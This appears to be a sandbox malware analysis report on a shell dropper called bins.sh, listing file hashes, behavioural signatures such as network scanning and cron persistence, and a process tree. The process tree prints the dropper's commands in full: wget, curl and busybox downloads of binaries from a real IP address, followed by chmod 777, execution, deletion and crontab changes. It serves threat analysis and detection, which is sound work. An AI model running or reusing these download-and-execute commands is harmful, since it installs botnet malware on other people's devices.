Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04-11-2024 11:22

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    fb03e426ca78a0af5cbbb68cbd6d8288

  • SHA1

    1fe0eb6730f6a592203e0b7393a8f53f3cf24fa2

  • SHA256

    ece31815664b056506b4ed6911c1b95be4cb14217e6de2ad20f21dc012614669

  • SHA512

    d85aef9889248c5bf5fd8edefa1acd43852b01a8d0e8abd6dda3b414f758634ee1a632e1fa558036193f168f305c481f5047b29a204efea878197da37298085c

  • SSDEEP

    192:8j4xKaBgsyu2y3mu06K6hVgTjX7C7S7DU7wvEpVKHHKhVgTj77C7S7DU7wQpVKH+:8j4xKaBgsI6K6hVgTjX2OUqYhVgTj72p

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1893) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:713
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:718
        • /usr/bin/wget
          wget http://87.120.84.230/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:723
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:738
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:744
        • /bin/chmod
          chmod 777 cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • File and Directory Permissions Modification
          PID:746
        • /tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          ./cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:747
        • /bin/rm
          rm cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • System Network Configuration Discovery
          PID:749
        • /usr/bin/wget
          wget http://87.120.84.230/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
          2⤵
          • Writes file to tmp directory
          PID:750
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:751
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
          2⤵
          • Writes file to tmp directory
          PID:752
        • /bin/chmod
          chmod 777 46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
          2⤵
          • File and Directory Permissions Modification
          PID:753
        • /tmp/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
          ./46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
          2⤵
          • Executes dropped EXE
          PID:754
        • /bin/rm
          rm 46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
          2⤵
            PID:756
          • /usr/bin/wget
            wget http://87.120.84.230/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
            2⤵
            • Writes file to tmp directory
            PID:757
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
            2⤵
            • Writes file to tmp directory
            PID:758
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
            2⤵
            • Writes file to tmp directory
            PID:759
          • /bin/chmod
            chmod 777 ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
            2⤵
            • File and Directory Permissions Modification
            PID:762
          • /tmp/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
            ./ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:764
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:766
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                  • Reads runtime system information
                  PID:767
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:769
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    • Reads runtime system information
                    PID:770
              • /bin/rm
                rm ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
                2⤵
                  PID:775
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                  2⤵
                    PID:779
                  • /usr/bin/curl
                    curl -O http://87.120.84.230/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                    2⤵
                      PID:859
                    • /bin/busybox
                      /bin/busybox wget http://87.120.84.230/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                      2⤵
                      • Writes file to tmp directory
                      PID:864
                    • /bin/chmod
                      chmod 777 YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                      2⤵
                      • File and Directory Permissions Modification
                      PID:869
                    • /tmp/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                      ./YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                      2⤵
                      • Executes dropped EXE
                      PID:870
                    • /bin/rm
                      rm YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                      2⤵
                        PID:873
                      • /usr/bin/wget
                        wget http://87.120.84.230/bins/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                        2⤵
                          PID:874
                        • /usr/bin/curl
                          curl -O http://87.120.84.230/bins/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                          2⤵
                            PID:877
                          • /bin/busybox
                            /bin/busybox wget http://87.120.84.230/bins/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                            2⤵
                            • Writes file to tmp directory
                            PID:878
                          • /bin/chmod
                            chmod 777 n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                            2⤵
                            • File and Directory Permissions Modification
                            PID:885
                          • /tmp/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                            ./n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                            2⤵
                            • Executes dropped EXE
                            PID:886
                          • /bin/rm
                            rm n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                            2⤵
                              PID:889
                            • /usr/bin/wget
                              wget http://87.120.84.230/bins/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                              2⤵
                                PID:890
                              • /usr/bin/curl
                                curl -O http://87.120.84.230/bins/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                                2⤵
                                  PID:893
                                • /bin/busybox
                                  /bin/busybox wget http://87.120.84.230/bins/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:899
                                • /bin/chmod
                                  chmod 777 QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:905
                                • /tmp/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                                  ./QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                                  2⤵
                                  • Executes dropped EXE
                                  PID:906
                                • /bin/rm
                                  rm QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                                  2⤵
                                    PID:909
                                  • /usr/bin/wget
                                    wget http://87.120.84.230/bins/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
                                    2⤵
                                      PID:910

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • /tmp/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d

                                    Filesize

                                    127KB

                                    MD5

                                    89077b7bd4bcafca7713be43635c4862

                                    SHA1

                                    fc02edb8fba29ea8ee99e6157ef8560334530052

                                    SHA256

                                    78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                    SHA512

                                    1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                  • /tmp/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i

                                    Filesize

                                    177KB

                                    MD5

                                    786d75a158fe731feca3880f436082c0

                                    SHA1

                                    79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                    SHA256

                                    5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                    SHA512

                                    7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                  • /tmp/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk

                                    Filesize

                                    111KB

                                    MD5

                                    701e7a55a4f3650f5feee92a9860e5fc

                                    SHA1

                                    6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                    SHA256

                                    ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                    SHA512

                                    7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                  • /tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj

                                    Filesize

                                    98KB

                                    MD5

                                    5141342d0df8699fa32a6b066a0c592e

                                    SHA1

                                    8157673225bd5182f16215e2aa823a25ca2d4fbc

                                    SHA256

                                    54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                    SHA512

                                    d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                  • /tmp/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM

                                    Filesize

                                    151KB

                                    MD5

                                    6c583043d91c55aa470c08c87058e917

                                    SHA1

                                    abf65a5b9bba69980278ad09356e53de8bb89439

                                    SHA256

                                    2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                    SHA512

                                    82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                  • /tmp/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj

                                    Filesize

                                    111KB

                                    MD5

                                    ca897a38f23ec23521ce0b1b83f8422d

                                    SHA1

                                    b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                    SHA256

                                    043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                    SHA512

                                    10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                  • /var/spool/cron/crontabs/tmp.TjmfcX

                                    Filesize

                                    210B

                                    MD5

                                    6e08f2c79fcdbc647eb45c8d4b6f6073

                                    SHA1

                                    35f88cfa2a397376e8f9b0c9b7fcc1e3b7c22a45

                                    SHA256

                                    e50ccc3fa267f9cfb7849b11dc358116f974104eda312cfd489ecf51226b02f4

                                    SHA512

                                    e9793092561a7c3d5675b1abe8a13580615a42adc4d434f3efcd6b343236dfb0384704f1c5fe2a2dcf07e28e142bf89481bdcaf770fc2a3302e3ba88afc4fd50